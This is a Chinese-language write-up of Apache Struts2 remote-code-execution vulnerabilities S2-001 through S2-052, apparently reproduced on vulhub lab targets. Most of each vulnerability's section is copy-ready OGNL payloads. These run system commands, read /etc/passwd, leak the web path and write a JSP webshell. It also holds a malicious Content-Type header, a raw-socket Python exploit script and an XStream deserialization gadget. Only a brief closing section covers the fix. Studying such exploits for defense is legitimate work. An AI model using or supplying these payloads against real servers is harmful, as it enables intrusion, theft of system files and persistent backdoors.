目录
概述
struts2漏洞 S2-001
漏洞原理
复现
struts2漏洞 S2-005
原理
分析一下003
复现
struts2漏洞s2-007
struts2漏洞 S2-008
原理
复现
struts2漏洞 S2-009
原理
复现
struts2漏洞 S2-012
原理
复现
struts2漏洞 S2-013
原理
复现
struts2漏洞 S2-015
原理
复现
struts2漏洞 S2-016
原理
复现
struts2漏洞 S2-032
原理
复现
struts2漏洞 S2-045
原理
复现
struts2漏洞 S2-046
原理
复现
struts2漏洞 S2-052
原理
复现
修复
概述
Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。其全新的Struts 2的体系结构与Struts 1的体系结构差别巨大。Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与ServletAPI完全脱离开,所以Struts 2可以理解为WebWork的更新产品。虽然从Struts 1到Struts 2有着非常大的变化,但是相对于WebWork,Struts 2的变化很小。
漏洞复现环境:
vulhub/struts2 at master · vulhub/vulhub · GitHub
—S2-001:表单验证错误OGNL 循环解析导致RCE。
—S2-003:XWork ParameterInterceptors 绕过允许OGNL语句执行。
—S2-005:XWork ParameterInterceptors 绕过导致RCE。
—S2-007:当出现转换错误时,用户输入被评估为OGNL表达式。
—S2-008:Struts2 中的多个严重漏洞。
—S2-009:ParameterInterceptor 漏洞导致RCE。
—S2-012:Showcase 应用程序漏洞导致RCE。
—S2-013:存在于URL和定位标记的includeParams属性导致RCE。
—S2-014:通过强制的URL和锚标签参数包括引入导致RCE,会话访问和操纵和跨站脚本攻击。
—S2-015:由通配符匹配机制或OGNL表达的双重评价引入的漏洞导致RCE。
—S2-016:通过操纵前缀为“action:”/“redirect:”/“redirectAction:”
的参数引入的漏洞允许远程命令执行。
—S2-018:ActionMapper机制支持特殊参数前缀动作的访问控制漏洞。
—S2-019:动态方法调用的默认开启和默认禁止。
—S2-020:将Commons FileUpload升级1.3.1版(DoS)并添加“class”以排除ParametersInterceptor 中的参数避免 ClassLoader 操作。
—S2-021:改进了ParametersInterceptor和CookieInterceptor中排除的参数以避免
ClassLoader 操作。
—S2-022:扩展CookieInterceptor中排除的参数以避免操纵Struts的内部结构。
—S2-026:特殊的顶部对象可用于访问Struts的内部结构。
—S2-029:强制双重OGNL评估求值,当对标签属性中的原始用户输入进行评估求值时,可能会导致RCE。
—S2-032:启用动态方法调用时,可以通过 method: 前缀导致RCE。
—S2-033:启用动态方法调用时,使用REST插件则运算符!可执行远程代码。
—S2-036:强制双重OGNL评估求值,当对标签属性中的原始用户输入进行评估求值时,可能会导致RCE。(S2-029的延申)
—S2-037:使用REST插件时可以执行远程代码执行。
—S2-045:基于Jakarta Multipart解析器执行文件上传时可能的RCE。
—S2-046:基于Jakarta Multipart解析器执行文件上传时可能的RCE。(S2-045的异构)
—S2-048:Struts 2.3.x 系列中Struts 1插件示例中的Struts Showcase应用程序中可能存在的RCE。
—S2-052:使用带有XStream 处理程序的Struts REST插件来处理XML负载时可能存在的RCE。
—S2-053:在Freemarker标签中使用无意表达式而不是字符串文字时可能导致RCE。
—S2-055:Jackson JSON库中的RCE漏洞
—S2-057:alwaysSelectFullNamespace的RCE漏洞触发条件:定义XML配置时namespace值未设置且上层动作配置(Action Configuration)中未设置或用通配符namespace;url标签未设置value和action值且上层动作未设置或用通配符namespace。
—S2-059:强制双重OGNL评估,当对标签属性中的原始用户输入进行评估时,可能会导致远程代码执行。
—S2-061:强制双重OGNL评估,当对标签属性中的原始用户输入进行评估时,可能会导致远程代码执行。(S2-059的延申)
参考一只网安小白对Struts2远程命令执行的尝试梳理-网盾安全培训
什么是OGNL表达式? 产生漏洞的原因基本都是OGNL表达式解析造成的。
什么是OGNL表达式_J_Perfect的博客-CSDN博客_ognl表达式
漏洞原理和复现:struts2漏洞_HuaWanBq的博客-CSDN博客
struts2漏洞 S2-001
漏洞原理
该漏洞因用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用OGNL表达式%{value}进行解析,然后重新填充到对应的表单数据中。如注册或登录页面,提交失败后一般会默认返回之前提交的数据,由于后端使用%{value}对提交的数据执行了一次OGNL 表达式解析,所以可以直接构造 Payload进行命令执行。
复现
返回显示2
漏洞存在
获取web路径
%{
#req=@org.apache.struts2.ServletActionContext@getRequest(),
#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#response.println(#req.getRealPath('/')),
#response.flush(),
#response.close()
}
执行命令
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}
struts2漏洞 S2-005
原理
s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开,S2-003的修补方案把自己上了一个锁,但是把锁钥匙给插在了锁头上。
XWork会将GET参数的键和值利用OGNL表达式解析成Java语句,如:
user.address.city=Bishkek&user['favoriteDrink']=kumys
//会被转化成
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
分析一下003
这里网上找了003的信息
其实S2-003是S2-005的前身,他的POC即为S-005的缩小版,因为S2-003之后官方偷偷修改安全配置,默认让SecurityMemberAccess(管理ognl权限的类)的allowStaticMethodAccess为false,这里简单把S2-005的POC去掉&('\u0023_memberAccess.allowStaticMethodAccess\u003dtrue')(bla)(bla)
这句话
http://127.0.0.1:8080/struts2-showcase-2.0.1/showcase.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))
总体来说
Struts2处理用户请求时,会调用拦截器处理ParametersInterceptor.setParameters装载参数.其中在执行数据栈加载时会对传入的参数name正则判断是否存在非法字符.
之后执行stack.setValue(name, value)进一步解析name值.依次解析传入的表达式造成注入
文章
https://zhzhdoai.github.io/2020/12/24/Struts2%E6%BC%8F%E6%B4%9E%E7%AC%94%E8%AE%B0%E4%B9%8BS2-003/#pom-xml
复现
靶机查看是否成功写入
第二种方法
struts2漏洞s2-007
如果出现404,需要关闭当前浏览器重开。
age插入 ‘+(1+1)+’
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '
找到EXP中的exec(‘id’)值,将id改为你想要执行的命令即可,例如:exec(‘cat /etc/passwd’)
如果太差直接查看网页源码
struts2漏洞 S2-008
原理
主要是利用对传入参数没有严格限制,导致多个地方可以执行恶意代码,传入?debug=command&expression=即可执行OGNL表达式
复现
任意文件覆盖
//利用方式尚且未知
exp.action?name=(%23context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false),+%23_memberAccess["allowStaticMethodAccess"]=true,+%23a=@java.lang.Runtime@getRuntime().exec('ipconfig').getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)('meh')]
远程执行命令
debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d@java.lang.Runtime@getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29
debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27ipconfig%27%29.getInputStream%28%29%29)
struts2漏洞 S2-009
原理
这个漏洞再次来源于s2-003、s2-005
struts2对s2-003的修复方法是禁止静态方法调用,在s2-005中可直接通过OGNL绕过该限制,对于#
号,同样使用编码\u0023
或\43
进行绕过;于是Struts2对s2-005的修复方法是禁止\
等特殊符号,使用户不能提交反斜线。
但是,如果当前action中接受了某个参数example
,这个参数将进入OGNL的上下文。所以,我们可以将OGNL表达式放在example
参数中,然后使用/helloword.acton?example=<OGNL statement>&(example)('xxx')=1
的方法来执行它,从而绕过官方对#
、\
等特殊字符的防御。
复现
查看源码 目录WEB-INF/src/java/org/apache/struts2/showcase/ajax/Example5Action.java
查看路由
访问这个
构建poc
/ajax/example5?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true
struts2漏洞 S2-012
原理
如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,例如:
<package name="S2-012" extends="struts-default">
<action name="user" class="com.demo.action.UserAction">
<result name="redirect" type="redirect">/index.jsp?name=${name}</result>
<result name="input">/index.jsp</result>
<result name="success">/index.jsp</result>
</action>
</package>
这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。
复现
可以直接祭出s2-001中的回显POC,因为这里是没有沙盒,也没有限制任何特殊字符(为什么?)。
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
需要url编码
struts2漏洞 S2-013
原理
Struts2 标签中 <s:a>
和 <s:url>
都包含一个 includeParams 属性,其值可设置为 none,get 或 all,参考官方其对应意义如下:
- none - 链接不包含请求的任意参数值(默认)
- get - 链接只包含 GET 请求中的参数和其值
- all - 链接包含 GET 和 POST 所有参数和其值
<s:a>
用来显示一个超链接,当includeParams=all
的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染,造成任意命令执行漏洞。
复现
${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}
// 或
${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}
如:http://your-ip:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D
S2-014 是对 S2-013 修复的加强,在 S2-013 修复的代码中忽略了 ${ognl_exp} OGNL 表达式执行的方式,因此 S2-014 是对其的补丁加强。
http://localhost:8080/S2-013/link.action?xxxx=%24%7B%28%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%29%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29%28@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29%29%7D
struts2漏洞 S2-015
原理
漏洞产生于配置了 Action 通配符 *,并将其作为动态值时,解析时会将其内容执行 OGNL 表达式,例如:
<package name="S2-015" extends="struts-default">
<action name="*" class="com.demo.action.PageAction">
<result>/{1}.jsp</result>
</action>
</package>
上述配置能让我们访问 name.action 时使用 name.jsp 来渲染页面,但是在提取 name 并解析时,对其执行了 OGNL 表达式解析,所以导致命令执行。在实践复现的时候发现,由于 name 值的位置比较特殊,一些特殊的字符如 / " \ 都无法使用(转义也不行),所以在利用该点进行远程命令执行时一些带有路径的命令可能无法执行成功。
还有需要说明的就是在 Struts 2.3.14.1 - Struts 2.3.14.2 的更新内容中,删除了 SecurityMemberAccess 类中的 setAllowStaticMethodAccess 方法,因此在 2.3.14.2 版本以后都不能直接通过 #_memberAccess['allowStaticMethodAccess']=true
来修改其值达到重获静态方法调用的能力。
复现
这里为了到达执行命令的目的可以用 kxlzx 提到的调用动态方法 (new java.lang.ProcessBuilder(‘calc’)).start() 来解决,另外还可以借助 Java 反射机制去间接修改:
#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true)
可以构造 Payload 如下:
${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),#q}
直接回显:
除了上面所说到的这种情况以外,S2-015 还涉及一种二次引用执行的情况:
<action name="param" class="com.demo.action.ParamAction">
<result name="success" type="httpheader">
<param name="error">305</param>
<param name="headers.fxxk">${message}</param>
</result>
</action>
这里配置了 <param name="errorMessage">${message}</param>
,其中 message 为 ParamAction 中的一个私有变量,这样配置会导致触发该 Result 时,Struts2 会从请求参数中获取 message 的值,并在解析过程中,触发了 OGNL 表达式执行,因此只用提交 %{1111*2} 作为其变量值提交就会得到执行。这里需要注意的是这里的二次解析是因为在 struts.xml 中使用 ${param} 引用了 Action 中的变量所导致的,并不针对于 type=“httpheader” 这种返回方式。
S2-015 远程代码执行漏洞 - NoCirc1e - 博客园
struts2漏洞 S2-016
原理
在struts2中,DefaultActionMapper类支持以"action:"、“redirect:”、"redirectAction:"作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。
复现
所以,访问http://your-ip:8080/index.action?redirect:OGNL表达式
即可执行OGNL表达式。
执行命令:
redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}
url编码结束后(一定要编码)
获取web目录:
redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()}
写入webshell:
redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),#b=new java.io.FileOutputStream(new java.lang.StringBuilder(#a.getRealPath("/")).append(@java.io.File@separator).append("1.jspx").toString()),#b.write(#a.getParameter("t").getBytes()),#b.close(),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println("BINGO"),#genxor.flush(),#genxor.close()}
struts2漏洞 S2-032
原理
Struts2在开启了动态方法调用(Dynamic Method Invocation)的情况下,可以使用method:<name>
的方式来调用名字是<name>
的方法,而这个方法名将会进行OGNL表达式计算,导致远程命令执行漏洞。
复现
直接请求如下URL,即可执行id
命令:
http://your-ip:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id
struts2漏洞 S2-045
原理
恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。
复现
修改如下数据包
poc1
Content-Type:"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
poc2%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data
struts2漏洞 S2-046
原理
在使用基于Jakarta插件的文件上传功能时,满足以下条件,会触发远程命令执行漏洞。
1.上传文件的大小(由Content-Length头指定)大于Struts2允许的最大大小(2GB)。
2.文件名内容构造恶意的OGNL内容。
本次S2-046漏洞远程命令执行漏洞需满足以上条件,而S2-045的漏洞只需要Content-Type一个点就可以进行远程命令执行。
复现
与s2-045类似,但是输入点在文件上传的filename值位置,并需要使用\x00
截断。
由于需要发送畸形数据包,我们简单使用原生socket编写payload:
import socket
q = b'''------WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',233*233)}\x00b"
Content-Type: text/plain
foo
------WebKitFormBoundaryXd004BVJN9pBYBL2--'''.replace(b'\n', b'\r\n')
p = b'''POST / HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Length: %d
'''.replace(b'\n', b'\r\n') % (len(q), )
with socket.create_connection(('your-ip', '8080'), timeout=5) as conn:
conn.send(p + q)
print(conn.recv(10240).decode())
struts2漏洞 S2-052
原理
Struts2-Rest-Plugin是让Struts2能够实现Restful API的一个插件,其根据Content-Type或URI扩展名来判断用户传入的数据包类型,有如下映射表:
扩展名 | Content-Type | 解析方法 |
---|---|---|
xml | application/xml | xstream |
json | application/json | jsonlib或jackson(可选) |
xhtml | application/xhtml+xml | 无 |
无 | application/x-www-form-urlencoded | 无 |
无 | multipart/form-data | 无 |
jsonlib无法引入任意对象,而xstream在默认情况下是可以引入任意对象的(针对1.5.x以前的版本),方法就是直接通过xml的tag name指定需要实例化的类名:
<classname></classname>
//或者
<paramname class="classname"></paramname>
所以,我们可以通过反序列化引入任意类造成远程命令执行漏洞,只需要找到一个在Struts2库中适用的gedget。
复现
由于rest-plugin会根据URI扩展名或Content-Type来判断解析方法,所以我们只需要修改orders.xhtml为orders.xml或修改Content-Type头为application/xml,即可在Body中传递XML数据。
所以,最后发送的数据包为:
POST /orders/3/edit HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/xml
Content-Length: 2415
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>touch</string>
<string>/tmp/success</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
以上数据包成功执行的话,会在docker容器内创建文件/tmp/success
,执行docker-compose exec struts2 ls /tmp/
即可看到。
此外,我们还可以下载一个jspx的webshell:
还有一些更简单的利用方法,就不在此赘述了。
修复
struts2.5.13中,按照xstream给出的缓解措施( http://x-stream.github.io/security.html ),增加了反序列化时的白名单:
protected void addDefaultPermissions(ActionInvocation invocation, XStream stream) {
stream.addPermission(new ExplicitTypePermission(new Class[]{invocation.getAction().getClass()}));
if (invocation.getAction() instanceof ModelDriven) {
stream.addPermission(new ExplicitTypePermission(new Class[]{((ModelDriven) invocation.getAction()).getModel().getClass()}));
}
stream.addPermission(NullPermission.NULL);
stream.addPermission(PrimitiveTypePermission.PRIMITIVES);
stream.addPermission(ArrayTypePermission.ARRAYS);
stream.addPermission(CollectionTypePermission.COLLECTIONS);
stream.addPermission(new ExplicitTypePermission(new Class[]{Date.class}));
}
但此时可能会影响以前代码的业务逻辑,所以谨慎升级,也没有特别好的办法,就是逐一排除老代码,去掉不在白名单中的类。